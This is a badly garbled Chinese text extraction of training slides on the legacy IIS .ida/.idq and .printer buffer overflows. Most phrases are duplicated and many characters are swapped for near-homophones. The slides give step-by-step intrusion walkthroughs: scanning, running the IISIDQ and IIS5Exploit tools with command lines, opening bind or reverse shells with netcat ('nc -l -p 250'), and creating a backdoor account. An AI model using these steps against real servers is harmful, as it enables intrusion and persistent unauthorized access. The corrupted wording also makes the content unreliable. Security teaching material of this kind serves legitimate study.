项目1利用idaidq漏洞的攻击与防护精品PPTPPT课件

1、课题引入课题引入IISIIS破绽破绽.ida&.idq.ida&.idq破绽检测破绽检测IDQIDQ入侵工具入侵工具IISIDQIISIDQ破绽溢出衔接工具破绽溢出衔接工具-NC-NC课题引入工程背景课题引入工程背景黑客是信息时代的完美主义者，他们经过研讨、黑客是信息时代的完美主义者，他们经过研讨、实验、编写测试代码来发现远程效力器中的破绽实验、编写测试代码来发现远程效力器中的破绽经过利用远程效力器的破绽，可以绕过系统的经过利用远程效力器的破绽，可以绕过系统的认证直接进入系统内部认证直接进入系统内部常用的破绽常用的破绽IISIIS破绽破绽操作系统破绽操作系统破绽SQLSQL效力器破绽效力器破绽

2、课题引入工程分析课题引入工程分析完本钱工程需求处理的问题：完本钱工程需求处理的问题：什么是什么是IISIIS破绽？破绽？如何检测如何检测.ida&.idq.ida&.idq破绽？破绽？如何运用如何运用IDQIDQ入侵工具入侵工具IISIDQIISIDQ？如何运用破绽溢出衔接工具如何运用破绽溢出衔接工具-NC-NC？课题引入教学目的课题引入教学目的完本钱工程需求实现的教学目的：完本钱工程需求实现的教学目的：检测检测.ida&.idq.ida&.idq破绽重点掌握破绽重点掌握IDQIDQ入侵工具入侵工具IISIDQ IISIDQ 掌握掌握破绽溢出衔接工具破绽溢出衔接工具-NC -NC 了解了解课题

3、引入应到达的职业才干课题引入应到达的职业才干 熟练掌握熟练掌握.ida&.idq.ida&.idq破绽检测的方法破绽检测的方法 掌握掌握IDQIDQ入侵工具入侵工具IISIDQIISIDQ的运用的运用 了解破绽溢出衔接工具了解破绽溢出衔接工具-NC-NC参数的含义参数的含义工程问题工程问题1 IIS破绽概述破绽概述IISIISInternet Information ServerInternet Information Server，即，即InternetInternet信息效力器，它在信息效力器，它在WindowsWindows系统中提供系统中提供InternetInternet效力，例如提

4、供效力，例如提供WebWeb效力、效力、FTPFTP效力、效力、SMTPSMTP效效力力IISIIS效力器在方便用户运用的同时，带来了许多效力器在方便用户运用的同时，带来了许多平安隐患。平安隐患。IISIIS破绽有近千余种，其中能被用来破绽有近千余种，其中能被用来入侵的破绽大多数属于入侵的破绽大多数属于“ “溢出型破绽。溢出型破绽。工程问题工程问题1 IIS破绽概述破绽概述对于溢出型破绽，入侵者可以经过对于溢出型破绽，入侵者可以经过发送特定指令格式的数据使远程发送特定指令格式的数据使远程效力区的缓冲区溢出，从而突破效力区的缓冲区溢出，从而突破系统的维护，在溢出的空间中执系统的维护，在溢出的空间

5、中执行恣意指令。行恣意指令。工程问题工程问题1 主要的主要的IIS破绽破绽.ida&.idq.ida&.idq破绽破绽PrinterPrinter破绽破绽UnicodeUnicode破绽破绽.asp.asp映射分块编码破绽映射分块编码破绽WebdavWebdav破绽破绽工程问题工程问题1 IIS破绽信息的搜集破绽信息的搜集运用扫描软件扫描存在破绽的主机，例如运用运用扫描软件扫描存在破绽的主机，例如运用X-ScanX-Scan进展进展IISIIS破绽的扫描破绽的扫描运用运用telnet targetIP 80telnet targetIP 80搜集搜集WebWeb效力器版本信息效力器版本信息工程

6、问题工程问题2 .ida&.idq破绽破绽 微软的微软的Index ServerIndex Server可以加快可以加快WebWeb的搜索才干，的搜索才干，提供对管理员脚本河提供对管理员脚本河InternetInternet数据的查询，默许支数据的查询，默许支持管理脚本持管理脚本.ida.ida和查询脚本和查询脚本.idq.idq 管理脚本管理脚本.ida.ida和查询脚本和查询脚本.idq.idq都是运用都是运用idq.dllidq.dll来来进展解析的进展解析的 idq.dllidq.dll存在一个缓冲溢出，问题存在于存在一个缓冲溢出，问题存在于idq.dllidq.dll扩扩展程序上，由

7、于没有对用户提交的输入参数进展展程序上，由于没有对用户提交的输入参数进展边境检查，可以导致远程攻击者利用溢出来获得边境检查，可以导致远程攻击者利用溢出来获得SystemSystem权限访问远程系统权限访问远程系统工程问题工程问题2 .ida&.idq破绽的检测破绽的检测运用运用X-ScanX-Scan、SfindSfind等检测工具等检测工具手工检测：在地址栏中输入手工检测：在地址栏中输入targetIP/targetIP/* *.ida.ida或者或者targetIP/targetIP/* *.idq.idq工程问题工程问题3 IDQ入侵工具入侵工具IISIDQIISIDQIISIDQ有命令

8、行和图形界面两种方式。运用有命令行和图形界面两种方式。运用IISIDQIISIDQ攻击远程效力器后，有两种登录方式攻击远程效力器后，有两种登录方式攻击后自动衔接方式命令攻击后自动衔接方式命令 iisidq.exe iisidq.exe输入命令输入命令11工程问题工程问题3 IDQ入侵工具入侵工具IISIDQ攻击后监听远程效力器衔接命令攻击后监听远程效力器衔接命令 iisidq.exe iisidq.exe输入命令输入命令11假设不写输入命令，默许命令为假设不写输入命令，默许命令为cmd.exe/c+dircmd.exe/c+dir。假设运用假设运用1 1，表示不运用默许命令而是要用户输，表示不

9、运用默许命令而是要用户输入命令入命令IISIDQ支持的操作系统类型支持的操作系统类型0 IIS5 0 IIS5 中文中文 Win2000 Sp0 Win2000 Sp01 IIS5 1 IIS5 中文中文 Win2000 Sp1 Win2000 Sp12 IIS5 2 IIS5 中文中文 Win2000 Sp2 Win2000 Sp2工程问题工程问题4 破绽溢出衔接工具破绽溢出衔接工具NCncnc在网络工具中有在网络工具中有“ “瑞士军刀的佳誉，经过瑞士军刀的佳誉，经过ncnc，入侵者可以方便的衔接远程效力器入侵者可以方便的衔接远程效力器ncnc有两种方法进展衔接有两种方法进展衔接自动衔接到外

10、部：自动衔接到外部：nc-options hostname ports nc-options hostname ports portsports监听等待外部衔接：监听等待外部衔接：nc l p port -option nc l p port -option hostname porthostname portNC的运用参数阐明的运用参数阐明-e:prog-e:prog程序重定向，一旦衔接，就执行程序重定向，一旦衔接，就执行-g:-g:网关路由跳数网关路由跳数, ,可设置到可设置到8 8-h -h：协助信息：协助信息-i -i：secssecs延时的间隔延时的间隔-l -l：监听方式，用于入站

11、衔接：监听方式，用于入站衔接-n -n：指定数字的：指定数字的IPIP地址，不能用地址，不能用hostnamehostname-o -o：filefile记录记录1616进制的传输进制的传输NC的运用参数阐明的运用参数阐明-r -r：恣意指定本地及远程端口：恣意指定本地及远程端口-s -s：addraddr本地源地址本地源地址-u -u：UDPUDP方式方式-v -v：详细输出用两个：详细输出用两个-v -v可得到更详细的内容可得到更详细的内容-w-w：secssecs超时时间超时时间-z -z：将输入输出关掉：将输入输出关掉用于扫描时用于扫描时.idq入侵实例一入侵实例一步骤一：扫描远程效力

12、器步骤一：扫描远程效力器步骤二：步骤二：IDQIDQ溢出。运用衔接方式一进展溢出。运用衔接方式一进展idqidq破破绽溢出。运用的命令为绽溢出。运用的命令为iisidq 0 06 iisidq 0 06 80 1 52180 1 521.idq入侵实例一入侵实例一步骤三：运用步骤三：运用ncnc进展衔接。运用命令进展衔接。运用命令nc v nc v 06 52106 521。.idq入侵实例一入侵实例一步骤四：建立后门帐号步骤四：建立后门帐号步骤五：运用步骤五：运用exitexit命令断开衔接命令断开衔接比

13、较命令如下图比较命令如下图.idq入侵实例二入侵实例二步骤一：扫描远程效力器步骤一：扫描远程效力器步骤二：运用步骤二：运用ncnc在本地翻开端口等待衔接。运在本地翻开端口等待衔接。运用命令用命令 nc -l p 250 nc -l p 250。参数。参数-l -l表示运用监听方式，表示运用监听方式，-p -p表示设置本地监听端口表示设置本地监听端口250250.idq入侵实例二入侵实例二步骤三：步骤三：IDQIDQ溢出。运用命令溢出。运用命令iisidq 0 iisidq 0 06 80 2 00 250 106 80 2 19

14、00 250 1采用采用方式二进展溢出，使远程效力器溢出后自动衔方式二进展溢出，使远程效力器溢出后自动衔接到本地计算机的接到本地计算机的250250端口端口.idq入侵实例二入侵实例二步骤四：进展溢出后的攻击步骤四：进展溢出后的攻击步骤五：建立后门帐号步骤五：建立后门帐号步骤六：运用步骤六：运用exitexit命令断开衔接命令断开衔接IISIDQ的图形界面的图形界面.printer破绽破绽windows2000 IIS 5windows2000 IIS 5存在打印扩展存在打印扩展ISAPIISAPIInternet Service Application Programmin

15、g Internet Service Application Programming InterfaceInterface，使得，使得.printer.printer扩展与扩展与msw3prt.dllmsw3prt.dll进进展映射，该扩展可以经过展映射，该扩展可以经过WebWeb调用打印机调用打印机在在msw3prt.dllmsw3prt.dll中存在缓冲区溢出破绽中存在缓冲区溢出破绽微软建议，普通在未打补丁之前，一定要移除微软建议，普通在未打补丁之前，一定要移除ISAPIISAPI网络打印的映射网络打印的映射.printer破绽入侵破绽入侵步骤一：运用步骤一：运用ncnc监听端口监听端口步骤二：运用步骤二：运用IIS5ExploitIIS5Exploit进展破绽溢出，命令格进展破绽溢出，命令格式式IIS5ExploitIIS5Exploit 总总 结结完本钱工程的学习之后，我们曾经掌握了基于完本钱工程的学习之后，我们曾经掌握了基于认证入侵的方法。详细内容如下：认证入侵的方法。详细内